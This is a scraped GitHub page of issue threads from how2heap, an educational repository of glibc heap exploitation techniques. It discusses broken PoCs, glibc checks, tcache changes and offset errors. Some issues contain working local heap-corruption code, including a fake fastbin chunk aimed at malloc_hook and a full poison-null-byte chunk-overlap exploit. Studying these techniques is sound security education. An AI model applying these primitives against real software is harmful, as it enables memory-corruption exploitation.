shellphish / how2heap Goto Github PK
View Code? Open in Web Editor NEWA repository for learning various heap exploitation techniques.
License: MIT License
A repository for learning various heap exploitation techniques.
License: MIT License
The PoC of tcache poisoning no longer work on GLIBC 2.30 and above.
There's a small change in _int_malloc() at https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f.
I've created this issues, because from my personal perspective explanations of some techniques became misleading, when attacks on tcache were introduced. In example, let's see glibc_2.26/unsorted_bin_attack.c
. It says that to use this technique is only usable, when libc is compiled without tcache. But, is there a chance that glibc would be compiled without tcache in real world?
There are multiple ways go get rid of tcache that don't require recompilation of glibc. In example, calloc
function doesn't use tcache (at the moment). House of Rabbit includes another way to evict tcache, which requires strong primitives, but still...
I know it's hard to maintain this repo, because there are a lot of changes made to glibc allocation algorightms, and a lot of techniques have become deprecated lately, but I suppose that these descriptions might disorient beginners, who haven't yet learnt all these details.
I've got a better way to handle different glibc by changing the binary's interpreter. Only need various libc.so and corresponding ld.so and you can learn these heap exploiting techniques without problems about glibc.
Check https://github.com/matrix1001/welpwn. I have written that function in PwnContext/auxiliary
with name change_ld
. And there's a example in readme.
See if you can use this.
Hi, all.
I would like to introduce my recent work, ArcHeap: https://arxiv.org/pdf/1903.00503.pdf
and also found techniques by this one.
I already reported unsorted_bin_into_stack, and this repo contains other techniques (all tested in libc 2.23 from Ubuntu 16.04, but I think it will work until 2.25 before tcache).
We determine the uniqueness of the techniques in two aspects: a root cause and a capability.
New | Old | Root causes | New capability |
---|---|---|---|
House of unsorted bin | House of Einherjar | Unsorted vs. Free | Does not require a heap address |
Unaligned Double Free | Fast bin dup | Small vs. Fast | Can abuse a small bin |
Overlapping chunk with small bin | Overlapping chunk | Small vs. Unsorted | Does not need a controllable size allocation |
Fast bin into other bin | Fast bin dup into stack | Consolidation vs. Fast | Can allocate a non-fast chunk |
Let me know if you have a technique to add to this repo. Then I will make a pull request. Thank you.
Was testing in an ubuntu 18.04 docker container and found that I had to downgrade the libc version to get them working.
ldd (Ubuntu GLIBC 2.27-3ubuntu1.4) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
root@ebae5017bf23:/how2heap# cd glibc_2.27/
root@ebae5017bf23:/how2heap/glibc_2.27# ./tcache_dup
This file demonstrates a simple double-free attack with tcache.
Allocating buffer.
malloc(8): 0x55bbb95f6670
Freeing twice...
free(): double free detected in tcache 2
Aborted (core dumped)
root@ebae5017bf23:/how2heap/glibc_2.27# cd ..
root@ebae5017bf23:/how2heap# DEBIAN_FRONTEND=noninteractive dpkg -i libc6_2.27-3ubuntu1.2_amd64.deb
dpkg: warning: downgrading libc6:amd64 from 2.27-3ubuntu1.4 to 2.27-3ubuntu1.2
(Reading database ... 12312 files and directories currently installed.)
Preparing to unpack libc6_2.27-3ubuntu1.2_amd64.deb ...
Unpacking libc6:amd64 (2.27-3ubuntu1.2) over (2.27-3ubuntu1.4) ...
Setting up libc6:amd64 (2.27-3ubuntu1.2) ...
Processing triggers for libc-bin (2.27-3ubuntu1.4) ...
root@ebae5017bf23:/how2heap# cd -
/how2heap/glibc_2.27
root@ebae5017bf23:/how2heap/glibc_2.27# ./tcache_dup
This file demonstrates a simple double-free attack with tcache.
Allocating buffer.
malloc(8): 0x5592d164a670
Freeing twice...
Now the free list has [ 0x5592d164a670, 0x5592d164a670 ].
Next allocated buffers will be same: [ 0x5592d164a670, 0x5592d164a670 ].
I got the deb file from here https://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1.2_amd64.deb
how2heap/glibc_2.25/house_of_spirit.c
Line 16 in 81ab920
On this line I believe &fake_chunks[7]
should be &fake_chunks[9]
given that the next header is placed like so: fake_chunks[9] = 0x1234; // nextsize
I just learned about the heap, how does this work? Are there good sources for beginners like me?
So far, we have between zero and two applicable CTF chals per technique. This is probably good, but the more CTFs run, the more applicable chals will pop up. We probably don't want humongous lists for people to get lost in, so we'll need a balance.
The example shown in poison_null_byte.c can be a little bit misleading due to "C" and "B1" being consolidated and then merged with the top chunk.
And if changing the example is kind of too much, I think it's worth mentioning that it'd get merged with the top chunk.
In _IO_flush_lockp() function...
813 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
814 #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
815 || (_IO_vtable_offset (fp) == 0
816 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
817 > fp->_wide_data->_IO_write_base))
818 #endif
819 )
820 && _IO_OVERFLOW (fp, EOF) == EOF)
we just satisfy (fp->_mode <= 0 && fp-> _IO_write_ptr > fp->_IO_write_base)
or (_IO_vtable_offset(fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data -> _IO_write_base)
I think former is more eaiser than later.
I'm getting this error when trying to compile glibc 2.25/2.26. I also had to use --disable-werror inside the Makefile, but that's another thing.
make[2]: *** No rule to make target '/home/kali/pentest/reversing/how2heap/glibc_build/dlfcn/libdl.so.2', needed by '/home/kali/pentest/reversing/how2heap/glibc_build/malloc/libmemusage.so'. Stop.
Thread local caching was enabled by default with version 2.26
Adjust examples to the new caching mechanism and hopefully add some new attacks introduced by the tcache itself!:-)
It'd be nice to see some write-ups on SLUB / SLAB exploitation.
It should be relatively easy to rip out the allocator and turn it into a user-space library a la LD_PRELOAD
.
This is from glibc2.28/malloc/malloc.c:3719
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr ("malloc(): memory corruption");
However in README.md, the Glibc-Version
is < 2.29
.
Hi, I found a slight mistake of house_of_force.c
fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
//allocate first chunk
intptr_t *p1 = malloc(256);
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);
//fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - sizeof(long)*2);
//explanation: wrong offset size because p1 is an intptr_t pointer, hence p1 - sizeof(long)*2 will actually offset address-8*2*8
The above is the suggested fix.
The correct output is as follows:
Let's allocate the first chunk, taking space from the wilderness.
The chunk of 256 bytes has been allocated at 0x555555757250.
confirmed in gdb
gef➤ vmmap [heap]
Start End Offset Perm Path
0x0000555555757000 0x0000555555778000 0x0000000000000000 rw- [heap]
gef➤ x/4gx 0x0000555555757000
0x555555757000: 0x0000000000000000 0x0000000000000251
0x555555757010: 0x0000000000000000 0x0000000000000000
gef➤ x/4gx 0x0000555555757250
0x555555757250: 0x0000000000000000 0x0000000000000111
0x555555757260: 0x0000000000000000 0x0000000000000000
gef➤ x/4gx 0x0000555555757250+0x110
0x555555757360: 0x0000000000000000 0x0000000000020ca1
0x555555757370: 0x0000000000000000 0x0000000000000000
hi, the house_of_lore.c in glibc_2.31 is old ,which may be the 2.27 version but need change memcpy's offset(+0x68) i'm not sure this is same in different environment. :)
We didn't have a chance at the CTF, but we should figure out what House of Orange needs, and if we should add a technique to how2heap for it.
We didn't have a chance at the CTF, but we should figure out what babyheap needs, and if we should add a technique to how2heap for it.
hi, I got a problem when running unsafe_unlink on my Linux which has glibc 2.26.
You have tested on Ubuntu16.04 which has glibc 2.23, and the following check has not been added in this version.
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
+ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
+ malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
In unsafe_unlink.c, These comments indicate that the check should be bypassed
We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)
With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))
If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).
We just need to set the *(chunk0_ptr + x) = x, so we can pass the check
1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing
2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass
3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20
In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (0x555555757268) == chunk0_ptr->size (0x555555757268)
You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
But not, I don't know why. Could you explain it for me?
Original value: Hello!~
New Value: Hello!~
Hey @Kyle-Kyle ,
I have written up a proof of concept for the House of Storm technique that I would love to add. The technique works by using offsetted bytes with the unsorted bin attack to act as a size of the chunk we want. Once this happens, the next iteration of the unsorted bin will have the proper size and take our chunk out because it is now an exact match. This is an awesome primitive because it returns an arbitrary chunk from the allocator.
However, the technique has a problem for this repo; because of the size being written and requiring an absolute match in the unsorted bin iterations, there is a 1/2 chance this check will fail because the 4th bit on the chunk size (resulting in the program crashing). This crash can be predicted but it is not as possible to work around because the size value write and the chunk removal happen on a single call to malloc.
What are your thoughts on adding this technique to the repo? Because of the randomness that cannot be circumvented (1/2) I wanted to hear your thoughts before making a PR.
hello, when i debug the elf created by this file.
at line 22, calculate the size of padding, at my machine :
the tmp = 0x4062a0
so size = 0x10000 - 0x4062a0&0xffff - 0x30
and the operation priority i read at prority tell that it do '&' before do '-'
but the result is
pwndbg> p/x 0x10000 - 0x4062a0&0xffff - 0x30
$3 = 0x9d40
when it must be
pwndbg> p/x 0x4062a0&0xffff
$4 = 0x62a0
pwndbg> p/x 0x62a0-0x30
$5 = 0x6270
pwndbg> p/x 0x10000-0x6270
$6 = 0x9d90
what's wrong?
this is just a self-recommendation.
i am working on a project that dynamically analyse the heap by only a pid. no need of gdb.
currently it supports fastbins, bins, tcache. And i implemented relative mode. check this.
heapinspect $ python HeapInspect.py 12408
============================== heapchunks ==============================
chunk(0x555555559000): prev_size=0x0 size=0x251 fd=0x7 bk=0x0
chunk(0x555555559250): prev_size=0x0 size=0x21 fd=0x0 bk=0x0
chunk(0x555555559270): prev_size=0x0 size=0x21 fd=0x555555559260 bk=0x0
chunk(0x555555559290): prev_size=0x0 size=0x21 fd=0x555555559280 bk=0x0
chunk(0x5555555592b0): prev_size=0x0 size=0x21 fd=0x5555555592a0 bk=0x0
chunk(0x5555555592d0): prev_size=0x0 size=0x21 fd=0x5555555592c0 bk=0x0
chunk(0x5555555592f0): prev_size=0x0 size=0x21 fd=0x5555555592e0 bk=0x0
chunk(0x555555559310): prev_size=0x0 size=0x21 fd=0x555555559300 bk=0x0
chunk(0x555555559330): prev_size=0x0 size=0x411 fd=0x7ffff7fa6190 bk=0x555555559c50
chunk(0x555555559740): prev_size=0x5555.. size=0x401 fd=0x7ffff7fa5ca0 bk=0x7ffff7fa5ca0
chunk(0x555555559b40): prev_size=0x400 size=0x110 fd=0x7ffff7fa62f0 bk=0x7ffff7fa62f0
chunk(0x555555559c50): prev_size=0x0 size=0x821 fd=0x7ffff7fa6190 bk=0x55555555a580
chunk(0x55555555a470): prev_size=0x820 size=0x110 fd=0x7ffff7fa62a0 bk=0x7ffff7fa62a0
chunk(0x55555555a580): prev_size=0x5555.. size=0x831 fd=0x555555559c50 bk=0x7ffff7fa6190
chunk(0x55555555adb0): prev_size=0x830 size=0x110 fd=0x7ffff7fa60b0 bk=0x7ffff7fa60b0
chunk(0x55555555aec0): prev_size=0x5555.. size=0x211 fd=0x7ffff7fa6000 bk=0x7ffff7fa6000
chunk(0x55555555b0d0): prev_size=0x0 size=0x161 fd=0x7ffff7fa5df0 bk=0x7ffff7fa5df0
chunk(0x55555555b230): prev_size=0x160 size=0x20 fd=0x0 bk=0x0
chunk(0x55555555b250): prev_size=0x0 size=0x21 fd=0x7ffff7fa5cb0 bk=0x7ffff7fa5cb0
chunk(0x55555555b270): prev_size=0x20 size=0x20 fd=0x0 bk=0x0
chunk(0x55555555b290): prev_size=0x0 size=0x111 fd=0x0 bk=0x0
chunk(0x55555555b3a0): prev_size=0x0 size=0x1ec61 fd=0x0 bk=0x0
============================== unsortedbins ==============================
chunk(0x555555559740): prev_size=0x5555.. size=0x401 fd=0x7ffff7fa5ca0 bk=0x7ffff7fa5ca0
============================== smallbins 0x20 ==============================
chunk(0x55555555b250): prev_size=0x0 size=0x21 fd=0x7ffff7fa5cb0 bk=0x7ffff7fa5cb0
============================== smallbins 0x160 ==============================
chunk(0x55555555b0d0): prev_size=0x0 size=0x161 fd=0x7ffff7fa5df0 bk=0x7ffff7fa5df0
============================== largebins 0x4f ==============================
chunk(0x555555559c50): prev_size=0x0 size=0x821 fd=0x7ffff7fa6190 bk=0x55555555a580
chunk(0x55555555a580): prev_size=0x5555.. size=0x831 fd=0x555555559c50 bk=0x7ffff7fa6190
relative mode
========================= relative heapchunks =========================
chunk(heap+0x0 ): prev_size=0x0 size=0x251 fd=0x7 bk=0x0
chunk(heap+0x250 ): prev_size=0x0 size=0x21 fd=0x0 bk=0x0
chunk(heap+0x270 ): prev_size=0x0 size=0x21 fd=heap+0x260 bk=0x0
chunk(heap+0x290 ): prev_size=0x0 size=0x21 fd=heap+0x280 bk=0x0
chunk(heap+0x2b0 ): prev_size=0x0 size=0x21 fd=heap+0x2a0 bk=0x0
chunk(heap+0x2d0 ): prev_size=0x0 size=0x21 fd=heap+0x2c0 bk=0x0
chunk(heap+0x2f0 ): prev_size=0x0 size=0x21 fd=heap+0x2e0 bk=0x0
chunk(heap+0x310 ): prev_size=0x0 size=0x21 fd=heap+0x300 bk=0x0
chunk(heap+0x330 ): prev_size=0x0 size=0x411 fd=libc+0x1b8190 bk=heap+0xc50
chunk(heap+0x740 ): prev_size=0x5555.. size=0x401 fd=libc+0x1b7ca0 bk=libc+0x1b7ca0
chunk(heap+0xb40 ): prev_size=0x400 size=0x110 fd=libc+0x1b82f0 bk=libc+0x1b82f0
chunk(heap+0xc50 ): prev_size=0x0 size=0x821 fd=libc+0x1b8190 bk=heap+0x1580
chunk(heap+0x1470 ): prev_size=0x820 size=0x110 fd=libc+0x1b82a0 bk=libc+0x1b82a0
chunk(heap+0x1580 ): prev_size=0x5555.. size=0x831 fd=heap+0xc50 bk=libc+0x1b8190
chunk(heap+0x1db0 ): prev_size=0x830 size=0x110 fd=libc+0x1b80b0 bk=libc+0x1b80b0
chunk(heap+0x1ec0 ): prev_size=0x5555.. size=0x211 fd=libc+0x1b8000 bk=libc+0x1b8000
chunk(heap+0x20d0 ): prev_size=0x0 size=0x161 fd=libc+0x1b7df0 bk=libc+0x1b7df0
chunk(heap+0x2230 ): prev_size=0x160 size=0x20 fd=0x0 bk=0x0
chunk(heap+0x2250 ): prev_size=0x0 size=0x21 fd=libc+0x1b7cb0 bk=libc+0x1b7cb0
chunk(heap+0x2270 ): prev_size=0x20 size=0x20 fd=0x0 bk=0x0
chunk(heap+0x2290 ): prev_size=0x0 size=0x111 fd=0x0 bk=0x0
chunk(heap+0x23a0 ): prev_size=0x0 size=0x1ec61 fd=0x0 bk=0x0
========================= relative unsortedbins =========================
chunk(heap+0x740 ): prev_size=0x5555.. size=0x401 fd=libc+0x1b7ca0 bk=libc+0x1b7ca0
========================= relative smallbins 0x20 =========================
chunk(heap+0x2250 ): prev_size=0x0 size=0x21 fd=libc+0x1b7cb0 bk=libc+0x1b7cb0
========================= relative smallbins 0x160 =========================
chunk(heap+0x20d0 ): prev_size=0x0 size=0x161 fd=libc+0x1b7df0 bk=libc+0x1b7df0
========================= relative largebins 0x4f =========================
chunk(heap+0xc50 ): prev_size=0x0 size=0x821 fd=libc+0x1b8190 bk=heap+0x1580
chunk(heap+0x1580 ): prev_size=0x5555.. size=0x831 fd=heap+0xc50 bk=libc+0x1b8190
however, i haven't finished it. but i believe that this tool will help starters a lot.
The exploit chain of the house_of_orange might be broken, due to changes in stdlib/abort.c
Commit 91e7cf982d0104f0e71770f5ae8e3faf352dea9f
Before:
#define fflush(s) _IO_flush_all_lockp (0)
...
/* Flush all streams. We cannot close them now because the user
might have registered a handler for SIGABRT. */
if (stage == 1)
{
++stage;
fflush (NULL);
}
Now:
/* Send signal which possibly calls a user handler. */
if (stage == 1)
{
/* This stage is special: we must allow repeated calls of
`abort' when a user defined handler for SIGABRT is installed.
This is risky since the `raise' implementation might also
fail but I don't see another possibility. */
int save_stage = stage;
stage = 0;
__libc_lock_unlock_recursive (lock);
raise (SIGABRT);
__libc_lock_lock_recursive (lock);
stage = save_stage + 1;
}
This means _IO_flush_all_lockp
is no longer called from malloc_printerr
.
However, the actual heap corruption is still feasible only the special way of gaining ip-controlled needs a new thought.
how2heap/glibc_2.31/house_of_lore.c
Line 83 in 44be098
While compiling on Ubuntu 14.044.3, gcc version 4.8.4, I got the following error:
$ make cc -std=c99 fastbin_dup.c -o fastbin_dup cc -std=c99 fastbin_dup_into_stack.c -o fastbin_dup_into_stack cc -std=c99 unsafe_unlink.c -o unsafe_unlink cc -std=c99 house_of_spirit.c -o house_of_spirit cc -std=c99 poison_null_byte.c -o poison_null_byte cc -std=c99 malloc_playground.c -o malloc_playground malloc_playground.c: In function ‘main’: malloc_playground.c:27:3: warning: ‘gets’ is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations] gets(buffer); ^ /tmp/ccquQQGB.o: In function `main': malloc_playground.c:(.text+0xc2): warning: the `gets' function is dangerous and should not be used.
I'm seeing the following in the example posted:
We edit our fake chunk size so that it is small enough to pass size checks
Can you guys post a url (maybe in the code) to where in the C code this check is taking place?
Suggest adding House of Roman, which is a combination of existing heap techniques that do not require a leak.
If x
in c = malloc(x)
is fewer than 505 bytes, the example won't work. As I understand in c = malloc(x)
, x
should be in range from 505 to 520 bytes. If someone can point to source code, I will be happy to check it.
The current folders glibc_2.25
and glibc_2.26
don't really make sense anymore.
I would prefer something like deprecated
and active
.
However, we often have multiple stages of deprecated, which are working around several checks until finally killed...
Maybe we should create a folder for each major technique in deprecated
and keep several versions in there, thoughts?
According to unsorted_bin_attack.c
, this „only works with disabled tcache-option for glibc“. README.md
lists it as applicable to < 2.26. But you can use it with 2.27, if your chunks are big enough to not go into tcache. This was used in Worldwide Highest Velocity at SquareCTF 2019.
i would suggest to add this technique. tested on ubuntu libc 2.27
https://gist.github.com/d4em0n/d468d726f06b0fa93747e193628b5ce4
After the latest changle of unsafe_unlink, new typo has been introduced.
I enjoyed this method because it differs from others.
It is implemented here: https://github.com/andigena/ptmalloc-fanzine/blob/master/01-madness/blind_chunk_unmapping.c
and here is an article about this: http://tukan.farm/2016/07/27/munmap-madness/
We have 2 mapped chunks A and B. After overwriting heap metada, freeing chunk A makes chunk B freed. This method can be used as preparations to further attack like UAF.
at line 40,
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
i think if normally freed, the chunk1.previous_size must be 0x430 instead 0x90.
house_of_spirit.c in the README section links to https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_spirit.c
which still uses the fastbin list. Since it Glibc-Version refers to the "latest" better link the one that points to the tcache versions.
Before talking about my puzzles, I'd like to thank the team shellphish for this wonderful repo! Much appreciate.
After that, I just found the comment in the house of lore is a bit confusing.
fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
The puzzling part is In the unsorted bin
.
After the debugging, I found that the (nil) pointer only happened when compiled into a 64-bit ELF. That is to say the fastbin (128 byte upper bound) is used instead of the unsorted bin as described.
Since the house of the lore is claimed to be tested in a 32-bit architecture, where the 100 byte chunk is indeed out the range of fastbin. However, after the debugging, these two pointers are by no means nil in the unsorted bin double linked list...
To summarize, I think the comment of pointers are nil
should be removed.
Saw this today: http://shift-crops.hatenablog.com/entry/2017/09/17/213235
Will try to create an example here when I find the time
As shown in the following Proof of Concept, printf
an puts
make use of the heap and, these functions, do not release the allocated memory after using it (it seems these do so due to performance issues, I haven't reported the issue to libc developers yet). This can interfere with further analysis or exploitation.
I suggest a refactor from printf
to fprintf(stderr, ...)
should fix this issue.
Proof of Concept here, compile with gcc printf_fastbins_malloc_hook.c -o printf_poc -zexecstack
It would be great if someone can provide me the file for Insomni'hack 2017-Wheel of Robots
i have looked all over the internet for this file , but no luck .
I want to practice on topic "Unsafe Unlink"
Line 30 in dc6fc15
Does this supposed to be 0x506 here, or I am just getting it wrong ?
The main page claims that libc < 2.29 is vulnerable to the House of Force attack, but the malloc(): corrupted top size
check seems to have been backported to previous versions. My 2.28 libc contains this check. Prior versions may have received the fix as well.
Hello, i want to insert fake chunk in fastbins, fake chunk will point into abitrary address. for example, i want to overwrite malloc_hook, and i found fake chunk before malloc_hook where the size is 0x7f. i insert that fake chunk into fastbins and then i malloc, but malloc gives me an error. but when i change the size value in fake chunk with 0x81, malloc success.
is 0x7f is invalid size for fastbins ?, i read article on internet they use fake chunk where the size 0x7f and malloc success return an address of fake_chunk.
i made sample code to create fake chunk.
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char const* argv[])
{
char data[0x80];
long *a, *b, *c;
a = malloc(0x70);
b = malloc(0x70);
c = malloc(0x70);
free(a);
free(b);
*(long*)&data[8] = 0x7f;
printf("data = %p\n", &data);
*b = (long)&data;
printf("malloc(0x70) = %p\n", malloc(0x70));
printf("malloc(0x70) = %p\n", malloc(0x70));
return 0;
}
above script gives me an error.
vagrant@vagrant-ubuntu-trusty-64:/vagrant/tmp$ ./fake_chunk
data = 0x7ffde5eb6c10
malloc(0x70) = 0xa10090
*** Error in `./fake_chunk': malloc(): memory corruption (fast): 0x00007ffde5eb6c20 ***
Aborted (core dumped)
when i change the size of fake chunk with 0x81, it's works
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char const* argv[])
{
char data[0x80];
long *a, *b, *c;
a = malloc(0x70);
b = malloc(0x70);
c = malloc(0x70);
free(a);
free(b);
*(long*)&data[8] = 0x81;
printf("data = %p\n", &data);
*b = (long)&data;
printf("malloc(0x70) = %p\n", malloc(0x70));
printf("malloc(0x70) = %p\n", malloc(0x70));
return 0;
}
vagrant@vagrant-ubuntu-trusty-64:/vagrant/tmp$ ./fake_chunk
data = 0x7ffeb847a220
malloc(0x70) = 0x1a73090
malloc(0x70) = 0x7ffeb847a230
sorry for my bad english, hope you understand what i mean. thanks for your help
Maybe the following code is more helpful and clean to know what's happened in the heap.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
// Modify from https://github.com/shellphish/how2heap/blob/master/glibc_2.31/poison_null_byte.c
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// step1: allocate padding
void *tmp = malloc(0x1);
void *heap_base = (void *)((long)tmp & (~0xfff));
printf("heap address: %p\n", heap_base);
size_t size = 0x10000 - ((long)tmp & 0xffff) - 0x20;
void *padding= malloc(size);
// step2: allocate prev chunk and victim chunk
void *prev = malloc(0x500);
void *victim = malloc(0x4f0);
malloc(0x10);
// step3: link prev into largebin
void *a = malloc(0x4f0);
malloc(0x10);
void *b = malloc(0x510);
malloc(0x10);
/**
* Heap layout:
* ... ...
* padding
* prev Chunk(addr=0x??0010, size=0x510)
* victim Chunk(addr=0x??0520, size=0x500)
* barrier Chunk(addr=0x??0a20, size=0x20)
* a Chunk(addr=0x??0a40, size=0x500)
* barrier Chunk(addr=0x??0f40, size=0x20)
* b Chunk(addr=0x??0f60, size=0x520)
* barrier Chunk(addr=0x??1480, size=0x20)
*/
free(a);
free(b);
free(prev);
// unsorted_bins <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]
malloc(0x1000); // Allocate a huge chunk to enable sorting
// large_bin[67] <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]
// step4: allocate prev again to construct fake chunk
void *prev2 = malloc(0x500);
// prev2->fd == prev2->fd_nextsize == a
// prev2->bk == prev2->bk_nextsize == b
((long *)prev)[1] = 0x501;
*(long *)(prev + 0x500) = 0x500;
// fake_chunk == prev + 0x10 == 0x??0020
// use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk
// fake_chunk->fd == a
// fake_chunk->bk == b
// step5: bypass unlinking
void *b2 = malloc(0x510); // b->fd == a
// large_bin[67] <-> [prev, size=0x510] <-> [a, size=0x500]
((char*)b2)[0] = '\x10';
((char*)b2)[1] = '\x00'; // b->fd <- fake_chunk
void *a2 = malloc(0x4f0);
// large_bin[67] <-> [prev, size=0x510]
free(a2);
free(victim);
// unsorted_bins <-> [victim, size=0x500] <-> [a, size=0x500]
void *a3 = malloc(0x4f0); // a->bk == victim
// unsorted_bins <-> [victim, size=0x500]
((char*)a3)[8] = '\x10';
((char*)a3)[9] = '\x00'; // a->bk <- fake_chunk
// Now fake_chunk->fd->bk == a->bk == fake_chunk
// fake_chunk->bk->fd == b->fd == fake_chunk
// can pass unlink_chunk in malloc.c:
// mchunkptr fd = p->fd;
// mchunkptr bk = p->bk;
// if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
// malloc_printerr ("corrupted double-linked list");
// step6: add fake chunk into unsorted bin by off-by-null
void *victim2 = malloc(0x4f0);
/* VULNERABILITY */
((char *)victim2)[-8] = '\x00';
/* VULNERABILITY */
free(victim);
// unsorted_bins <-> [fake_chunk + victim, size=0xa00]
// step7: validate the chunk overlapping
void *merged = malloc(0x100);
assert((size_t)merged == (size_t)prev + 0x10);
}
Add changes for:
Especially the tcache->key thing they added.
https://www.alchemistowl.org/pocorgtfo/pocorgtfo18.pdf
Page 22-36 has a nice write-up of the "forgotten" art of frontlinks, by abusing the largebins->nextsize ptrs.
Such as "Insomni'hack 2017-Wheel of Robots", there is a writeup, but no binary file.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.